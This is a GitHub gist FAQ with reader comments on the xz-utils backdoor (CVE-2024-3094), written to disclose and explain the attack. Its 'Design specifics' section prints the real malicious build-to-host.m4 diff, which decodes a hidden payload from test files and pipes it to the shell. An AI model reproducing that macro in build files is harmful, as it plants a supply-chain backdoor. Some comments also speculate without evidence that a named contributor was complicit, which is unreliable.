Skip to content

Instantly share code, notes, and snippets.

@thesamesam
Last active October 3, 2024 16:07
Show Gist options
  • Save thesamesam/223949d5a074ebc3dce9ee78baad9e27 to your computer and use it in GitHub Desktop.
Save thesamesam/223949d5a074ebc3dce9ee78baad9e27 to your computer and use it in GitHub Desktop.
xz-utils backdoor situation (CVE-2024-3094)

FAQ on the xz-utils backdoor (CVE-2024-3094)

This is a living document. Everything in this document is made in good faith of being accurate, but like I just said; we don't yet know everything about what's going on.

Background

On March 29th, 2024, a backdoor was discovered in xz-utils, a suite of software that gives developers lossless compression. This package is commonly used for compressing release tarballs, software packages, kernel images, and initramfs images. It is very widely distributed, statistically your average Linux or macOS system will have it installed for convenience.

This backdoor is very indirect and only shows up when a few known specific criteria are met. Others may be yet discovered! However, this backdoor is at least triggerable by remote unprivileged systems connecting to public SSH ports. This has been seen in the wild where it gets activated by connections - resulting in performance issues, but we do not know yet what is required to bypass authentication (etc) with it.

We're reasonably sure the following things need to be true for your system to be vulnerable:

  • You need to be running a distro that uses glibc (for IFUNC)
  • You need to have versions 5.6.0 or 5.6.1 of xz or liblzma installed (xz-utils provides the library liblzma) - likely only true if running a rolling-release distro and updating religiously.

We know that the combination of systemd and patched openssh are vulnerable but pending further analysis of the payload, we cannot be certain that other configurations aren't.

While not scaremongering, it is important to be clear that at this stage, we got lucky, and there may well be other effects of the infected liblzma.

If you're running a publicly accessible sshd, then you are - as a rule of thumb for those not wanting to read the rest here - likely vulnerable.

If you aren't, it is unknown for now, but you should update as quickly as possible because investigations are continuing.

TL:DR:

  • Using a .deb or .rpm based distro with glibc and xz-5.6.0 or xz-5.6.1:
    • Using systemd on publicly accessible ssh: update RIGHT NOW NOW NOW
    • Otherwise: update RIGHT NOW NOW but prioritize the former
  • Using another type of distribution:
    • With glibc and xz-5.6.0 or xz-5.6.1: update RIGHT NOW, but prioritize the above.

If all of these are the case, please update your systems to mitigate this threat. For more information about affected systems and how to update, please see this article or check the xz-utils page on Repology.

This is not a fault of sshd, systemd, or glibc, that is just how it was made exploitable.

Design

This backdoor has several components. At a high level:

  • The release tarballs upstream publishes don't have the same code that GitHub has. This is common in C projects so that downstream consumers don't need to remember how to run autotools and autoconf. The version of build-to-host.m4 in the release tarballs differs wildly from the upstream on GitHub.
  • There are crafted test files in the tests/ folder within the git repository too. These files are in the following commits:
  • Note that the bad commits have since been reverted in e93e13c8b3bec925c56e0c0b675d8000a0f7f754
  • A script called by build-to-host.m4 that unpacks this malicious test data and uses it to modify the build process.
  • IFUNC, a mechanism in glibc that allows for indirect function calls, is used to perform runtime hooking/redirection of OpenSSH's authentication routines. IFUNC is a tool that is normally used for legitimate things, but in this case it is exploited for this attack path.

Normally upstream publishes release tarballs that are different than the automatically generated ones in GitHub. In these modified tarballs, a malicious version of build-to-host.m4 is included to execute a script during the build process.

This script (at least in versions 5.6.0 and 5.6.1) checks for various conditions like the architecture of the machine. Here is a snippet of the malicious script that gets unpacked by build-to-host.m4 and an explanation of what it does:

if ! (echo "$build" | grep -Eq "^x86_64" > /dev/null 2>&1) && (echo "$build" | grep -Eq "linux-gnu$" > /dev/null 2>&1);then

  • If amd64/x86_64 is the target of the build
  • And if the target uses the name linux-gnu (mostly checks for the use of glibc)

It also checks for the toolchain being used:

  if test "x$GCC" != 'xyes' > /dev/null 2>&1;then
  exit 0
  fi
  if test "x$CC" != 'xgcc' > /dev/null 2>&1;then
  exit 0
  fi
  LDv=$LD" -v"
  if ! $LDv 2>&1 | grep -qs 'GNU ld' > /dev/null 2>&1;then
  exit 0

And if you are trying to build a Debian or Red Hat package:

if test -f "$srcdir/debian/rules" || test "x$RPM_ARCH" = "xx86_64";then

This attack thusly seems to be targeted at amd64 systems running glibc using either Debian or Red Hat derived distributions. Other systems may be vulnerable at this time, but we don't know.

Lasse Collin, the original long-standing xz maintainer, is currently working on auditing the xz.git.

Design specifics

$ git diff m4/build-to-host.m4 ~/data/xz/xz-5.6.1/m4/build-to-host.m4
diff --git a/m4/build-to-host.m4 b/home/sam/data/xz/xz-5.6.1/m4/build-to-host.m4
index f928e9ab..d5ec3153 100644
--- a/m4/build-to-host.m4
+++ b/home/sam/data/xz/xz-5.6.1/m4/build-to-host.m4
@@ -1,4 +1,4 @@
-# build-to-host.m4 serial 3
+# build-to-host.m4 serial 30
 dnl Copyright (C) 2023-2024 Free Software Foundation, Inc.
 dnl This file is free software; the Free Software Foundation
 dnl gives unlimited permission to copy and/or distribute it,
@@ -37,6 +37,7 @@ AC_DEFUN([gl_BUILD_TO_HOST],
 
   dnl Define somedir_c.
   gl_final_[$1]="$[$1]"
+  gl_[$1]_prefix=`echo $gl_am_configmake | sed "s/.*\.//g"`
   dnl Translate it from build syntax to host syntax.
   case "$build_os" in
     cygwin*)
@@ -58,14 +59,40 @@ AC_DEFUN([gl_BUILD_TO_HOST],
   if test "$[$1]_c_make" = '\"'"${gl_final_[$1]}"'\"'; then
     [$1]_c_make='\"$([$1])\"'
   fi
+  if test "x$gl_am_configmake" != "x"; then
+    gl_[$1]_config='sed \"r\n\" $gl_am_configmake | eval $gl_path_map | $gl_[$1]_prefix -d 2>/dev/null'
+  else
+    gl_[$1]_config=''
+  fi
+  _LT_TAGDECL([], [gl_path_map], [2])dnl
+  _LT_TAGDECL([], [gl_[$1]_prefix], [2])dnl
+  _LT_TAGDECL([], [gl_am_configmake], [2])dnl
+  _LT_TAGDECL([], [[$1]_c_make], [2])dnl
+  _LT_TAGDECL([], [gl_[$1]_config], [2])dnl
   AC_SUBST([$1_c_make])
+
+  dnl If the host conversion code has been placed in $gl_config_gt,
+  dnl instead of duplicating it all over again into config.status,
+  dnl then we will have config.status run $gl_config_gt later, so it
+  dnl needs to know what name is stored there:
+  AC_CONFIG_COMMANDS([build-to-host], [eval $gl_config_gt | $SHELL 2>/dev/null], [gl_config_gt="eval \$gl_[$1]_config"])
 ])
 
 dnl Some initializations for gl_BUILD_TO_HOST.
 AC_DEFUN([gl_BUILD_TO_HOST_INIT],
 [
+  dnl Search for Automake-defined pkg* macros, in the order
+  dnl listed in the Automake 1.10a+ documentation.
+  gl_am_configmake=`grep -aErls "#{4}[[:alnum:]]{5}#{4}$" $srcdir/ 2>/dev/null`
+  if test -n "$gl_am_configmake"; then
+    HAVE_PKG_CONFIGMAKE=1
+  else
+    HAVE_PKG_CONFIGMAKE=0
+  fi
+
   gl_sed_double_backslashes='s/\\/\\\\/g'
   gl_sed_escape_doublequotes='s/"/\\"/g'
+  gl_path_map='tr "\t \-_" " \t_\-"'
 changequote(,)dnl
   gl_sed_escape_for_make_1="s,\\([ \"&'();<>\\\\\`|]\\),\\\\\\1,g"
 changequote([,])dnl

Payload

If those conditions check, the payload is injected into the source tree. We have not analyzed this payload in detail. Here are the main things we know:

  • The payload activates if the running program has the process name /usr/sbin/sshd. Systems that put sshd in /usr/bin or another folder may or may not be vulnerable.

  • It may activate in other scenarios too, possibly even unrelated to ssh.

  • We don't entirely know the payload is intended to do. We are investigating.

  • Successful exploitation does not generate any log entries.

  • Vanilla upstream OpenSSH isn't affected unless one of its dependencies links liblzma.

    • Lennart Poettering had mentioned that it may happen via pam->libselinux->liblzma, and possibly in other cases too, but...
    • libselinux does not link to liblzma. It turns out the confusion was because of an old downstream-only patch in Fedora and a stale dependency in the RPM spec which persisted long-beyond its removal.
    • PAM modules are loaded too late in the process AFAIK for this to work (another possible example was pam_fprintd). Solar Designer raised this issue as well on oss-security.
  • The payload is loaded into sshd indirectly. sshd is often patched to support systemd-notify so that other services can start when sshd is running. liblzma is loaded because it's depended on by other parts of libsystemd. This is not the fault of systemd, this is more unfortunate. The patch that most distributions use is available here: openssh/openssh-portable#375.

    • Update: The OpenSSH developers have added non-library integration of the systemd-notify protocol so distributions won't be patching it in via libsystemd support anymore. This change has been committed and will land in OpenSSH-9.8, due around June/July 2024.
  • If this payload is loaded in openssh sshd, the RSA_public_decrypt function will be redirected into a malicious implementation. We have observed that this malicious implementation can be used to bypass authentication. Further research is being done to explain why.

    • Filippo Valsorda has shared analysis indicating that the attacker must supply a key which is verified by the payload and then attacker input is passed to system(), giving remote code execution (RCE).

Tangential xz bits

  • Jia Tan's 328c52da8a2bbb81307644efdb58db2c422d9ba7 commit contained a . in the CMake check for landlock sandboxing support. This caused the check to always fail so landlock support was detected as absent.

    • Hardening of CMake's check_c_source_compiles has been proposed (see Other projects).
  • IFUNC was introduced for crc64 in ee44863ae88e377a5df10db007ba9bfadde3d314 by Hans Jansen.

    • Hans Jansen later went on to ask Debian to update xz-utils in https://bugs.debian.org/1067708, but this is quite a common thing for eager users to do, so it's not necessarily nefarious.

People

We do not want to speculate on the people behind this project in this document. This is not a productive use of our time, and law enforcement will be able to handle identifying those responsible. They are likely patching their systems too.

xz-utils had two maintainers:

  • Lasse Collin (Larhzu) who has maintained xz since the beginning (~2009), and before that, lzma-utils.
  • Jia Tan (JiaT75) who started contributing to xz in the last 2-2.5 years and gained commit access, and then release manager rights, about 1.5 years ago. He was removed on 2024-03-31 as Lasse begins his long work ahead.

Lasse regularly has internet breaks and was on one of these as this all kicked off. He has posted an update at https://tukaani.org/xz-backdoor/ and is working with the community.

Please be patient with him as he gets up to speed and takes time to analyse the situation carefully.

Misc notes

Analysis of the payload

This is the part which is very much in flux. It's early days yet.

These two especially do a great job of analysing the initial/bash stages:

Other great resources:

Other projects

There are concerns some other projects are affected (either by themselves or changes to other projects were made to facilitate the xz backdoor). I want to avoid a witch-hunt but listing some examples here which are already been linked widely to give some commentary.

Tangential efforts as a result of this incident

This is for suggesting specific changes which are being considered as a result of this.

Discussions in the wake of this

This is for linking to interesting general discussions, rather than specific changes being suggested (see above).

Non-mailing list proposals:

Acknowledgements

  • Andres Freund who discovered the issue and reported it to linux-distros and then oss-security.
  • All the hard-working security teams helping to coordinate a response and push out fixes.
  • Xe Iaso who resummarized this page for readability.
  • Everybody who has provided me tips privately, in #tukaani, or in comments on this gist.

Meta

Please try to keep comments on the gist constrained to editorial changes I need to make, new sources, etc.

There are various places to theorise & such, please see e.g. https://discord.gg/TPz7gBEE (for both, reverse engineering and OSint). (I'm not associated with that Discord but the link is going around, so...)

Response to questions

  • A few people have asked why Jia Tan followed me (@thesamesam) on GitHub. #tukaani was a small community on IRC before this kicked off (~10 people, currently has ~350). I've been in #tukaani for a few years now. When the move from self-hosted infra to github was being planned and implemented, I was around and starred & followed the new Tukaani org pretty quickly.

  • I'm referenced in one of the commits in the original oss-security post that works around noise from the IFUNC resolver. This was a legitimate issue which applies to IFUNC resolvers in general. The GCC bug it led to (PR114115) has been fixed.

    • On reflection, there may have been a missed opportunity as maybe I should have looked into why I couldn't hit the reported Valgrind problems from Fedora on Gentoo, but this isn't the place for my own reflections nor is it IMO the time yet.

TODO for this doc

  • Add a table of releases + signer?
  • Include the injection script after the macro
  • Mention detection?
  • Explain the bug-autoconf thing maybe wrt serial
  • Explain dist tarballs, why we use them, what they do, link to autotools docs, etc
    • "Explaining the history of it would be very helpful I think. It also explains how a single person was able to insert code in an open source project that no one was able to peer review. It is pragmatically impossible, even if technically possible once you know the problem is there, to peer review a tarball prepared in this manner."

TODO overall

Anyone can and should work on these. I'm just listing them so people have a rough idea of what's left.

  • Ensuring Lasse Collin and xz-utils is supported, even long after the fervour is over
  • Reverse engineering the payload (it's still fairly early days here on this)
    • Once finished, tell people whether:
      • the backdoor did anything else than waiting for connections for RCE, like:
        • call home (send found private keys, etc)
        • load/execute additional rogue code
        • did some other steps to infest the system (like adding users, authorized_keys, etc.) or whether it can be certainly said, that it didn't do so
      • other attack vectors than via sshd were possible
      • whether people (who had the compromised versions) can feel fully safe if they either had sshd not running OR at least not publicly accessible (e.g. because it was behind a firewall, nat, iptables, etc.)
  • Auditing all possibly-tainted xz-utils commits
  • Investigate other paths for sshd to get liblzma in its process (not just via libsystemd, or at least not directly)
    • This is already partly done and it looks like none exist, but it would be nice to be sure.
  • Checking other projects for similar injection mechanisms (e.g. similar build system lines)
  • Diff and review all "golden" upstream tarballs used by distros against the output of creating a tarball from the git tag for all packages.
  • Check other projecs which (recently) introduced IFUNC, as suggested by thegrugq.
    • This isn't a bad idea even outside of potential backdoors, given how brittle IFUNC is.
  • ???

References and other reading material

@zacanger
Copy link

zacanger commented Apr 3, 2024

@lhmouse

No transliteration scheme for Mandarin

Jyutping (Canto). That does kind of stand out to me, but I'm not a native speaker, I don't know if anyone would usually mix the two.

Around my part of the world, it's not too rare for online people (including programming people) to dabble in Sinitic romanizations and Sinitic topolects. Sometimes they just get weird ideas about "which romanization is best", about as meaningful as debating which Unicode normalization method is best.

@Artoria2e5 thank you for clarifying

@4i8
Copy link

4i8 commented Apr 3, 2024

If gnu/linux is hackable, then nothing is secure anymore.

@christoofar
Copy link

christoofar commented Apr 3, 2024

If gnu/linux is hackable, then nothing is secure anymore.

define "secure".

If more users pushed to IPv6-only and raise the expense of scanning the network a lot higher, the giant increase of failed tcp dials are easier for network carriers to see and deal with.

any vps/cloud provider not giving you a healthy sized IPv6 range by default is garbage, and configured and turned on in their bake scripts so there is no excuse

cloudflare should demand edges go on to IPv6-only and not have 80/8080/443 open on IPv4, then sunset allowing edges having sshd on standard ports

the IPv4 universe is in a fucked state. I don't know why anyone thinks they can deal with serving anything on that network unless they have an incident response center in 5 time zones. I never serve sshd out on it. Moving the port lowers the scan hits quite a bit, IPv6 drops them waaaay down.

I hate this network I wish it would end.

@christoofar
Copy link

christoofar commented Apr 3, 2024

For those of you who just want a secure way to sshd to do your admin and IPv6 is never happening in the near term, then check out Loki or Yggdrasil. Ygg is dead-easy to set up. Your distro probably already has a package for it, or you can build it yourself. You don't need to join it to public Ygg nodes (by not joining the public Ygg network, that creates your own private IPv6 encrypted network automatically. if any of your peers in your network is configured to join another Ygg network, then that bridges the two networks together).

Within your LAN if IPv6 broadcasting works, nodes you add will find each other and link up. It's like OpenVPN but just-add-water. https://yggdrasil-network.github.io

Then you can iptables/ufw whitelist the nodes you're bridging across IPv4 private-public. This step prevents anyone attacking your Ygg bridge much less seeing it.

You can also whitelist the hostkeys themselves in yggdrasil.conf to limit what can pair. (if you don't do the keys, then do the iptables)

Once you have that up, you can go into sshd_conf on your public server and stop serving out on IPv4 completely or do whatever you need to do to close the port to the Internet.

It also handles the case where your ISP won't even let you host anything---now you can (by setting up Ygg on a vps and going back to your host and adding it as a peer).

@christoofar
Copy link

christoofar commented Apr 4, 2024

Lasse updated his Plans section and mentions that the Jia code may be going to a git museum repo, he will rebase Jia out of xz in a 5.8.0 release.

Plans
I plan to write an article how the backdoor got into the releases and what can be learned from this. I’m still studying the details.

xz.git needs to be gotten to a state where I’m happy to say I fully approve its contents. It’s possible that the recent commits in master will be rebased to purge the malicious files from the Git history so that people don’t download them in any form when they clone the repo. The old repository could still be preserved in a separate read-only repository for history: the contents of its last commit could equal some commit in the new repository.

These will unfortunately but obviously take several days.

A clean XZ Utils release version could jump to 5.8.0. Some wish that it clearly separates the clean one from the bad 5.6.x.

https://tukaani.org/xz-backdoor/

@christoofar
Copy link

with libsystemd rolling out the dlopen() change and OpenSSH adding support for systemd notify...
openssh/openssh-portable@08f5792

sad day for Jia.

@christoofar
Copy link

christoofar commented Apr 4, 2024

The blog post is also not good proof. Dude sounds like he's new to the codebase, which he might really be!

He created a blog, and made one post, about his excitement of Jia's optimized memory allocator.

Which is not an optimized memory allocator. 💅

If he was excited about RISCV support going into liblzma, he would have finished the CPython binding changes and write one test to just pass a simple array to liblzma with the feature flags turned on.

If he was performance testing his board for some project, he could have forked CPython to stuff test bloat oh cool no local tests in his own fork, he shipped all the edits over... and convenience scripts (none in his fork) then called Jia and ask him to pull them down so Jia can then pin a launcher from the CPython testbed to see what's going on. Iiiiiiiii dunnnnoooo I would have left my tests in my fork and cherry pick out of that branch what I want to send to CPython if I had a board in my lap and wanted Jia's change so I can make that supercool, supercompacted whatever.

Just.... think about it.

@rdebath
Copy link

rdebath commented Apr 4, 2024

@christoofar Sshd is fine on IPv4. Your only "problem" is you can't make do with bad passwords; use keys.
If the sh**s rattling your door are bothering you include "fail2ban" to tell them to p*s off.
Or just filter your logs another way and snigger at them wasting their time rattling your door.

@0x1eef
Copy link

0x1eef commented Apr 4, 2024

@pillowtrucker

... or if you're genuinely a low iq schizophrenic.

There's no need for that, and you don't prove yourself more responsible than Z-nonymous by posting comments like that. Mental illness is not a joke, and shouldn't be used to score cheap points like that. It's not that far from racism, maybe one day you'll realize that.

@duracell
Copy link

duracell commented Apr 4, 2024

@christoofar Sshd is fine on IPv4. Your only "problem" is you can't make do with bad passwords; use keys. If the sh**s rattling your door are bothering you include "fail2ban" to tell them to p*s off. Or just filter your logs another way and snigger at them wasting their time rattling your door.

This doesn't help you with a vulnerable ssh version like this exploit or a bug.

@rdebath
Copy link

rdebath commented Apr 4, 2024

@duracell Nor does being on IPv6. This issue has a lot of hallmarks of being a very long term targeted attack. In that case the attacker knows who they want to attack and likely has a DNS lookup to point at them. If you want to reduce your attack surface filtering IPs is not really effective.

Reducing the libraries you link is ... for example don't link the obesity that is systemd. BTW: Don't think I'm trying to assign any blame here; but if you're not using systemd this why "libelogind0" exists at all and that may be a reasonable way to break the attack chain. It's one of the things that gives me a relaxed attitude to this exploit.

These are also the reasons I think this exploit is a failure, it was discovered too soon.
Thank you "Andres Freund".

@bogd
Copy link

bogd commented Apr 4, 2024

@duracell Nor does being on IPv6.

Network engineer here, so I do not have the know-how to talk about the code. But I have seen this idea of "just move to IPv6, everything will be solved there!" too many times not to reply.

For anyone thinking that IPv6 will solve the issue by just being "too difficult to scan", please think again. I still remember a 2007 presentation by Randy Bush, that explains this very well (slide 16).

Add that to what @rdebath already mentioned (this does look like something to be used for targeted attacks, and if you have a target you generally know how to reach that).

@duracell
Copy link

duracell commented Apr 4, 2024

I never said anything about ipv6, I only said fail2ban and brute-force protection will not help with such exploits.

But to say something about this, here is my point:
Your general anti-“too difficult to scan” message is bs.
Slide 16 says:

  • It is true that address space scanning will be somewhat harder
  • Ha Ha, think botnet scanning and a black market in hot space
  1. It's says “harder”! 2. 17 YEARS are gone, and where is the proof about the 2nd point?

And this is just a presentation.
You should look at the current stages of public scanning or even paper from akamai.
The truth is: Scanning is a lot, lot harder and for the whole space nearly impossible for a single person or even a normal-sized group without a lot of money. Regular scanning even more.
Of course, if it's a targeted attack and use publically known IP addresses, then it's not that much harder than ipv4. But for exploits in general on a widespread ipv6 can help to slow down mass attacks.

@orangepizza
Copy link

orangepizza commented Apr 4, 2024 via email

@bogd
Copy link

bogd commented Apr 4, 2024

I never said anything about ipv6, I only said fail2ban and brute-force protection will not help with such exploits.

I was not replying to you, but to a different message that was quoting you (and in turn it was referring to a message from @christoofar ). Yes, I agree with you on the fail2ban part - it will not protect you from such an exploit. And probably none of the other mentioned workarounds will protect you against an application-level exploit/backdoor.

As for the second part, you missed the point entirely. :) . Yes, IPv6 scanning is harder (nobody ever contested that), but that doesn't mean that this can be used as a "security mechanism". That was what the "ha ha" on the slide was about.

Your first link seems to only talk about IPv4 scanning (and I did not see any relevant statistics on that page).

where is the proof about the 2nd point?

Probably waiting (together with the rest of us) for large-scale IPv6 adoption :p . Even the paper you linked says that:

"It may well be that the relative rarity of largescale IPv6 scans is simply the result of the inability to “cheaply” find destination addresses to probe. However, we argue this situation may quickly change if and when targetable IPv6 addresses become more available, be it due to advances in target generation algorithms, or exposure of addresses, e.g., via peer-to-peer applications or other rendezvous mechanisms employed by future applications"

Anyway, this is not the place for this conversation. Let us get back to the interesting part, the current exploit. :)

@christoofar
Copy link

christoofar commented Apr 4, 2024

@duracell Nor does being on IPv6.

Network engineer here, so I do not have the know-how to talk about the code. But I have seen this idea of "just move to IPv6, everything will be solved there!" too many times not to reply.

For anyone thinking that IPv6 will solve the issue by just being "too difficult to scan", please think again. I still remember a 2007 presentation by Randy Bush, that explains this very well (slide 16).

Add that to what @rdebath already mentioned (this does look like something to be used for targeted attacks, and if you have a target you generally know how to reach that).

I understand that. But the IPv4 universe is still super-fucked. Live targets compacted into a small universe white-hot with scanners. You still have to break defaults when hosting on IPv6 in the lower-temperature environment.

The shitshops/skids would be left having to use advanced techniques and rely on fewer devs and information (analyzing traffic, ingesting pilfered web logs, etc) to harvest target lists. There's just no reason, no reason at all, to put sshd hosted on defaults on to IPv4, which is what most people are doing. Every cloud provider is doing. It's crazytown.

And with xz we have now understood, very well, the issue of hot-loading, which tells you how good the code of OpenSSH has become because that was a technique few people thought feasible in a closed environment. Which systemd is reducing the temperature even more with dlopen() (it doesn't solve it).

@christoofar
Copy link

christoofar commented Apr 4, 2024

Of course, if it's a targeted attack and use publically known IP addresses, then it's not that much harder than ipv4. But for exploits in general on a widespread ipv6 can help to slow down mass attacks.

The cheapest thing to do is to go after caches of weblogs to collect/guess pools where there are clusters of hosts because Provider X misconfigured and handed out clients a small range. Like astronomers who write image filter code to sort out background stars looking for fuzzy balls that are galaxies or nebulae.

It's not perfect. Stop poo-pooing IPv6 because it isn't perfect. It is still preferable to v4.

Everyone has an Internet device talking a lot more on v6 than on v4. It's probably your phone. It's your Starlink router. The future is now. Get sshd off the IPv4 network. Just do it.

If you can't/won't, then why not shove it behind OpenVPN? Or set up port knocking? Or, as I mentioned... take a look at Yggdrasil which gives you a virtual IPv6 encrypted network with minimal fuss with way less setup headache?

@christoofar
Copy link

christoofar commented Apr 4, 2024

@christoofar Sshd is fine on IPv4. Your only "problem" is you can't make do with bad passwords; use keys. If the sh**s rattling your door are bothering you include "fail2ban" to tell them to p*s off. Or just filter your logs another way and snigger at them wasting their time rattling your door.

This doesn't help you with a vulnerable ssh version like this exploit or a bug.

Let's be precise because it matters. sshd in this attack was not the vulnerable pathway. The issue is hot-loading.

Hot-loading is when libA which is doing just fine in production when loaded on to executable hosts, now has a change introduced because libB is going to be hot-loaded (LD_PRELOAD or, as we've seen it's systemd doing it) to make the code in libB get into memory and its initters get called, wanting to change the environment/state/data that libA usually runs under.

That's why the dlopen() changes to systemd matter.

How did liblzma get hotloaded? systemd did that (because journald), and also because OpenSSH did not want to bring in libsystemd to support its UNIX socket notify feature to signal readiness-to-serve. They have to support more OSes than just Linux (primary is BSD). Distros were taking patches to OpenSSH to get sshd to use this feature. THAT step matters because that is what created the hot-loading situation!

But any software, really, is vulnerable to hotloading. You have one thing that runs as root and pulls from an unwatched patching cycle, it is an invitation to hot-load. It doesn't have to be systemd as the root launcher, it can happen inside the ecosphere of some package you run, too.

Laughing and pointing fingers like a dumbshit saying "huhuhuh I run ${FAVORITE_OS} not a problem there"... yeah no ALL software is vuln to this.

@duracell
Copy link

duracell commented Apr 4, 2024

Let's be precise because it matters. sshd in this attack was not the vulnerable pathway. The issue is hot-loading.

If you want to be precise, ssh was the vulnerable component, because the attack targets ssh and the functions of ssh.
You connect to ssh with a specific key with includes the malicious commands. Without the ssh connection this exploit wouldn't work.
It is indeed not a bug or exploit in the (upstream) ssh code itself. It was vulnerable because of the patches, but it was the vulnerable part to the outside and a necessary part of the exploit.

@christoofar
Copy link

christoofar commented Apr 4, 2024

I should note: there's some software landscapes where hotloading is the norm because that's just the way things go. The Asterisk project is a great example. Plugins are written as C modules/patches so no-surprise that you might need X feature ("I wanna write something that injects custom SIP headers") and you need a dependency elsewhere but you don't want to touch the PJSIP module itself, or you reduce your change to a small nugget to keep up with updates to PJSIP. (Edit: you set the module loading order to your need and then launch with LD_PRELOAD to force your deps in, then your module/patch can do whatever it needs to do to PJSIP. This is just how things work over there.)

In closed-soure vendor land that behavior is everywhere.

Dependency hijacking is a thing .NET people have been dealing with for eons now and they are further ahead (lib signing, centralized and well-understood assembly loading behavior, etc). But, again... everything everywhere is subject to hotloading. Just like injected static includes creeping into an unprotected repo, it can be dynamic, too.

@christoofar
Copy link

Let's be precise because it matters. sshd in this attack was not the vulnerable pathway. The issue is hot-loading.

If you want to be precise, ssh was the vulnerable component, because the attack targets ssh and the functions of ssh. You connect to ssh with a specific key with includes the malicious commands. Without the ssh connection this exploit wouldn't work. It is indeed not a bug or exploit in the (upstream) ssh code itself. It was vulnerable because of the patches, but it was the vulnerable part to the outside and a necessary part of the exploit.

I'm going to target your dishwasher. Your dishwasher is the vulnerable component.

@dnorthup-ums
Copy link

dnorthup-ums commented Apr 4, 2024

@thesamesam
Sam, et al:
I think there's another "Easter Egg" in there... Looking again, closely, at Lasse's f9cf4c05 commit (the tukaani repo) and his 02e35059 commit, and then re-reading the build tools scripts, it looks like "Jia" intended to be able to use TCP connections from inside of XZ on platforms built with CMAKE. There's got to be some way to invoke that. Perhaps he hadn't finished implementing that part yet..., but I think that somebody with better fuzzing skills than mine should give it a close look. The good news is that Lasse re-enabled the Landlock function for CMAKE builds...., presuming that "Jia" hadn't hidden something in the Landlock code.

@christoofar
Copy link

christoofar commented Apr 4, 2024

By the way, I have not proven our enthusiastic CPython user is guilty beyond a reasonable doubt of being Team Jia, but this is the most stinky fish of all the associated cross-committers looking to push up Jia's changes.

It's not that Mr. CPython found a 0day in decrypt/encrypt... my suspicion is the audience that Mr. CPython would have created with his PR to CPython. The test he submitted cannot be run unless you force up the dependency, because in the binding code the feature flag is tied to the release level of liblzma. Tinkerboard people tend to be IT professions with day jobs in corporate land. I don't know anyone around me in my inner circle, that is a nerd, who doesn't have a tinkerboard. Granted, not RISCV... but RISCV I'm going to assume audience is the same and more avid tinkerboard project users.

And even if Mr. CPython is completely innocent here... the adoption to push up is there, and when CPython lands for all chipsets and OS platforms everyone's Python code using lzma whether they know it or not will host Jia. Jia now has a worldwide entrypoint to ship to everything, everywhere, even in locked-down shit like QNX if that OS moves up because CPython did.

So... the panicky headlines from the tech press are, to some degree, justified.

Mr. CPython started a promo website all-excited about his interest in the liblzma memory allocator (that is not a memory allocator). And well, I want to testbed the CPython PR that was kicked out against Jia's RISCV feature enhancement. How much of a performance gain is this?

So I have ordered a RISCV tinkerboard off of Amazon.

@fungilife
Copy link

Let's be precise because it matters. sshd in this attack was not the vulnerable pathway. The issue is hot-loading.
If you want to be precise, ssh was the vulnerable component

I'm going to target your ..... is the vulnerable component.

There is so much fan-boyism going on here that you will never get a consensus that all systems without systemd couldn't possibly have this problem. They will diffuse and divert the discussion to produce "doubt", "reasonable doubt", and the entire subject will be shoved under the carpet in a short while.

The fact that tests were done on an compromised system with all the necessary conditions/ingredients, but sshd was started manually and no backdoor was found seems to have gone over everyone's head.

Meanwhile, everyone is talking xz/lzma, distros are rebuilding packages, but zstd is being built from, or hasn't since 3/29, from a preconfigured github tarball with lzma enabled (or is it not everyone doing this?).

You wanted automation and less sysadmin work, you looked down at custom scripts to setup services, .. here it came. If you leave honey out the bees and the ants will come.

@ostrosablin
Copy link

It's not perfect. Stop poo-pooing IPv6 because it isn't perfect. It is still preferable to v4.

Not only IPv6 is a major failure (since it's adoption is still low), but due to this, it hardly gets tested in many "IPv6-ready" products, if at all.

IPv6 is usable only in corporate environments, managed by team of experienced network engineers. For most end users, it doesn't solve any real problems. In fact, it generates much more security concerns. Generally, enabling IPv6 would expose entire network to public internet. What makes it worse, some cheaper/older consumer routers don't even provide any mechanism to set up IPv6 connection filtering in their stock firmware, and would even happily expose their control panel to public internet.

So, unless you really know what you're doing, IPv4 is the only way to go. Because being behind NAT gives a default opt-in behavior to accepting connections. On other hand, IPv6 emphasizes direct connectivity, so it's much easier to accidentally backdoor a private network by exposing sensitive services, meant to be run privately to public internet.

And xz-utils situation shows that moving to IPv6 would just expose you to more security risks and headaches (for example, I had xz 5.6.1 on one machine, but thankfully, I was using IPv4 and for this particular machine I didn't expose sshd to public internet).

@duracell
Copy link

duracell commented Apr 4, 2024

It's not perfect. Stop poo-pooing IPv6 because it isn't perfect. It is still preferable to v4.

So, unless you really know what you're doing, IPv4 is the only way to go. Because being behind NAT gives a default opt-in behavior to accepting connections. On other hand, IPv6 emphasizes direct connectivity, so it's much easier to accidentally backdoor a private network by exposing sensitive services, meant to be run privately to public internet.

And xz-utils situation shows that moving to IPv6 would just expose you to more security risks and headaches (for example, I had xz 5.6.1 on one machine, but thankfully, I was using IPv4 and for this particular machine I didn't expose sshd to public internet).

The device which does NAT on IPv4 could and in all cases I know is also the device which does the filtering for ipv6 and on default on all consumer products does not allow any incoming connection request. So you have the same firewall security as with NAT but not the problem of port translation and other problems.

@Daniel15
Copy link

Daniel15 commented Apr 4, 2024

Some of the commit links still go to the GitHub mirror at https://github.com/tukaani-project/xz/, which is still disabled. It'd be worth updating the links to go to the upstream repo, e.g. https://git.tukaani.org/?p=xz.git;a=commitdiff;h=cf44e4b7f5dfdbf8c78aef377c10f71e274f63c0

@redcode
Copy link

redcode commented Apr 4, 2024

Has anyone tried to contact Chien Wong? He could have spoken privately with Jia Tan, and if so, he could have tried to communicate with him in Chinese. That might lead us to some other possible clue.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment